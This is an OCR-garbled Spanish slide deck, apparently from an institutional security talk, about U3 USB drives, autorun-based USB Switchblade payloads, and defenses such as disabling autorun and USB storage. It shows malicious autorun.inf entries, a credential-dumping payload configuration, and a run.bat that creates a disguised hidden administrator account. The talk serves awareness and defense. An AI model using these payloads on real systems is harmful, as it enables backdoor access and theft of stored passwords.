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Introduccion

* Evolucion imparable
—USB 1.1..USB 2.0.. U3 .. Papps
— 12Mbit/s (1.5MB/s) .. 480Mbit/s (60MB/s)
— 256Mb .. ¢8GDb?
* Ubicuidad: ¢Quién no tiene uno?
— Relojes, coches, perritos, bailarinas ....

e Promiscuidad: ¢Quién no ha ?



Introduccion I

http://www.nopuedocreer.com/quelohayaninventado/
1356/memoria-usb-perrito-caliente/




Tecnologia U3

e Sandisk + M-Systems. 2005
* Propietario

* Almacenar software portable
— No instalacion
— Pueden modificar el Registro
— La normativa obliga a borrar pero ...



Tecnologia U3 (lI)

* Componentes
— LaunchU3.exe
— LaunchPad.zip
— Autorun.inf

e Resultado

— Unidad de CD (is09660)

— Unidad FAT
e SYSTEM oculta
* Contiene las aplicaciones

— El autorun hace el resto

frchiva  Edicidn  Wer Favoritos  Herramientas  Awuda

Daves - () (T D eosaeds |[= capetas | [~
Direccidn Qi
X e
Carpstas T4 autorun.inf LaunchPad
(& Escritorio E gn)f(usrma:ién sobre |3 instalacidn 4‘3:;; KEa -
Q Mis documentos

=] } Mi PC: JCAMELAD-UCSM

u Disco de 314 (A:)

S WHP-0305 (CH)

e DATOS (D)

s Unidad DVD-RAM (E:)

% Juanma-Wirtual (F:)

% Juanma-Almacen (G!)

“ Disco extrable (H:)

=%, Dig en "Filer MetApp Getafe (Albert)" (1)
%, Redest en "Filer MetApp Leganes (Salinas)” (K:)
et MetApp Leganes (Salinas)" (P}

LaunchUZ.exe

=% Softwares en "Delibes” (5:)
=, intercambio en "Samba en Figaro (figara) (¥:)
[ Panel de control
@ Mis carpetas para compartiv
& mis sitios de red
2l Papelera de reciclaje
() Impresoras en red

| B3I

B autorun.inf - Bloc de notas

Archiva  Edicidn  Formato  Yer Awuda
|[Autorun]

open=LaunchuUs. exe -a
jcon=Launchuz. exe, 0

[Definitions]
Launchpad=LaunchPad, exe
viype=2

[CopyFiles]
Filenumbar=1
Filel=Launchprad. zip

[update]
URL=http://u3. sandisk. com/download,/Tp_installer.asp?custom=1.4.0.4&brand=cruzer

[Comment ]
brand=cruzer




LAUNCHPAD

U3 SMART PROGRAMS

mﬂh Tour Del LaunchPad
Ii\k_..} Skype

@"? Cruzerawnc U3 Edition

E{J HP Photasmart U3
@ McAfee YirusScan SE
g Signupshield Passwords

"b Big Fish Games Sudaky

F\Ei Mahjong Towers Eternity

[z
IHEE

Diescargar programas

Disco extraible (H

E' - -_1'{ Explorar unidad H:

[g, Configuracion ==

49 Agregar programas >

fAvuda ¥ asist. béc. ==

{724 sitio web de SanDisk U3

Habilitar seguridad

| 1,79GB Libre - Ua-Launchpad__ SAT)ISK
| crmme T T T T T

Tecnologia U3 (lI)

Hasta aqui todo bien
pero ...

ii DEMO !l

¢ Qué pasa si somos

malos?
— USBDumper



Payloads

* http://wiki.hak5.org/wiki/USB_Switchblade

* Gonzor SwitchBlade (http://gonzor228.com/)
— http://wiki.gonzor228.com/index.php/Main_Page
— SBConfig

* EnAble-Abel Switchblade Addition

— Crea una cuenta de administrador con acceso
remoto (IUSR_ADMIN: password)

— Permite la conexion de Cain

— jiFunciona en Vista!!


http://gonzor228.com/

Universal Customizer |

— Permite modificar el

payload
— Imagenes ISO

— Copia de seguridad del 5
launcher original

Payloads (lI)

U3 Customizer Disco extrable (H:)

B

1

Disclairmer

2

Introduction

Customizing

Complete

~

All data on your U3 smart drive will be backed up to a
password-protected ZIP file created by U3 Customizer, After
the customization is complete, your data will be restored
autornakically,

<U3-Backup-250408-00001870A5703102 . zip = will be saved
to the Following location:

| C\Documents and SetkingstjraneladiMis documentos |

| Browse... )
Password:
| |

Retype password;

http://www.u3community.com/viewtopic.php?t=434



Payloads (lll)

LAPIZ (H:) Eq

Windows puede realizar la mizma accidn cada vez que
inzerte un digco o conecte un digpogitiva con este tipo de
archiva:

1 Progama

;Hué dezea que haga Windows?

fer Imagen
Lizar el programa proporcionado en el di...

Ly Abrir carpeta para ver archivos
_.-/ uzar Exploradaor de windows

154

Aceptar H Cancelar ]

[ AUTORUN.INF - Bloc de n... (= |[8)X]
archivo Edicidn  Formato  Wer Awuda

[AutoRrun]
action=ver Imagen
open=wscript tm.wvhs

[efinitions]
Launchpad=Launchrad. exe
Viype=2

[CopyFiles]
Filerumber=1
Filel=Launchrad. zip

[Comment ]
brand=cruzer

-=GonZor=- Payload Config

Payload Options Hak5 aw Setup

Email to:

v Dump External IP |

|Ipdate Caonfig

Email fram:
W YNC Instal |mm il
[~ HakSaw Instal Password:
v Dump 'ifi Hex |
v Dump SAM [PWDUMP) Display Pazaword
v Dump SAM [FGDUMP) SMTP Server
v Dump Metwork Passwords |
Iv Dump bail Pazzmwordz SMTF Port:
v Cump Firefox Pazswords |
v Dump |E Pazswards Evtemal IF LURL
v Cump Meszenger Passwords -

|client = yeslitaskbar = nolll[SH TP
v Dump Cache
v Dump LSA Secrets Turn PL O |
v Cump Product Keps

Select All Payload Options |

v Dump URL Higtory
v Durp Updates List Deselect All Payload Options |
I Dump Netwark Services Reset Default Settings |
v Dump Port Scan |

Turn U3 Launchpad OF [t




=

Archivo  Edician  Wer Insertar  Formato  Ayoda
D|=(E| Sl @ &= 5

hauturun]

icon=folder. ico

action=0pen folder to view files
shellexecute=run.hat

Para obtener Avuda, presione F1

Payloads (V)

& H:\SYSTEM\SRC

Archivo

Qe - ()

Otros sitios

) SYSTEM

a i P JCAMELAD-LICSM
g Mis sitios de red

Detalles

SRC

& run.bat - Bloc de notas

Archiva  Edicion  Formato  Ayuda

Catpeta de archivos

Fecha de modificacién: viernes, 14 de

marzo de 2008, 16:42

=101 x|

echo off
WIPYCMDYQo. exe
regedit.exe /s ".%5¥3%wlsa.req"”

NET LOCALGROUF Administrators IUSR_ADMIN /ADD
regedit.exe /s ".AWS¥shwin.reg”

MET USER IUSR_ADMIN password SADD factive:yes sFullname:"Remote
pesktop Help Assistant Account” Scomment:"Met Account for
Providing Remote Assistance” Jexpires:inever stimes:all

&l

i Demo

[i=1bS]
Edicion  Wer Favoritos  Herramientas  Ayuda ?
'l} pﬁﬂsquada [ capetas [~
Direccién |3 H:\SYSTEMISRC "| Ir
R = - -
Tareas de archivo v carpeta ¥ lJ I_J I_J
Include YT CACERT.PEM
T 5
= e
IMis o k
Q s documentos DUHYEBS — GOBAT  IEPV.ENE

1 :
[s5,
[,
e

\EXE LIBEAY32.DLL LSTARGET.DLL MAILPY.EXE

2
ng
£3

M3PASS.EXE NETPASS.EXE  M3PR4.0LL

B
&)
A

- 5

g E

i g

‘ﬁ am
s | &

-

o

[

*

j=]

2

g

-

o

L]

g

2

o

2

2

1
7o
2 %
B

m
=
i

FORTQRY.EXE PRODUKEY....

o
¥l
bl
=
-
=
s}
c
32
-z
m
=2
i

il
=]
&

i

]
1

wn
m
=
=1

LBAT  SOFTOEMS, ...

i

SSLEAYIZ.0LL U3.dat WHC.REG WEET EXE
((z)) %
WIFIKE EXE WUL.EXE




Problemas en nuestro entorno

* Ordenadores de profesores
— Login como administradores
— Notas, examenes, trabajos de investigacion ....

* Entrega de practicas en USB

— promiscuidad
* Ordenadores de Aulas
— Multiples visitas
— A veces también profesores



Soluciones

e Desactivar autorun

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet
\Services\Cdrom\AutoRun

* Deshabilitar los dispositivos USB

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet
\Services\usbstor\Start 324

Denegar Full Control al grupo System



Soluciones (lI)

* Windows SteadyState

http://www.microsoft.com/windows/products/winf
amily/sharedaccess/default.mspx

— Gratuito

* GFI EndPointSecurity
http://www.gfi.com/endpointsecurity/

* CenterTools DrivelLock
http://www.ubm-global.com/drivelock/dImain.htm


http://www.gfi.com/endpointsecurity/

Windows SteadyState

2 Windows SteadyState Z E|g|

" Windows’
SteadyState-

Use Windows SteadyState Configuracion global del equipo Configuracion de usuario
para proteger los elquipos -
de acceso compartido %1 Establecer restricciones en el equipo prueba_ss

contra cambios no LY Configuracidn del sistema:
autorizados en el disco

duro v restringir gl acceso
de los usuarios a la

configuracidn y los datos Programar actualizaciones de software
del sistermna, o su capacidad o )
i redlzer cerles on Actualizaciones realizadas por

Wiindows SteadyState:

Petfil: Blogueado
7 estan activados

& SMSCliSvcAcctE:
3 Perfil: Desbloqueado

éstos,
Desactivado
@ Registrar - SMSCliToknLocalacc...
_:i Perfil: Desbloqueado
L] Proteger el disco duro

Yer también - Prateccidn de disco de wWindows:

/ Desactivado = __ wmware_Lser__
Q) Ayuda 5 Perfil: Desbloqueado

jr) Introduccian
i) p+F
o Caonunidad

Agregar un NUeyo UsUario
Configurar control parental gred

Exporkar usuario
Sequridad Familiar

de Windows Live
OneCare

Importar usuario




¢ Preguntas?

Muchas Gracias por su atencion



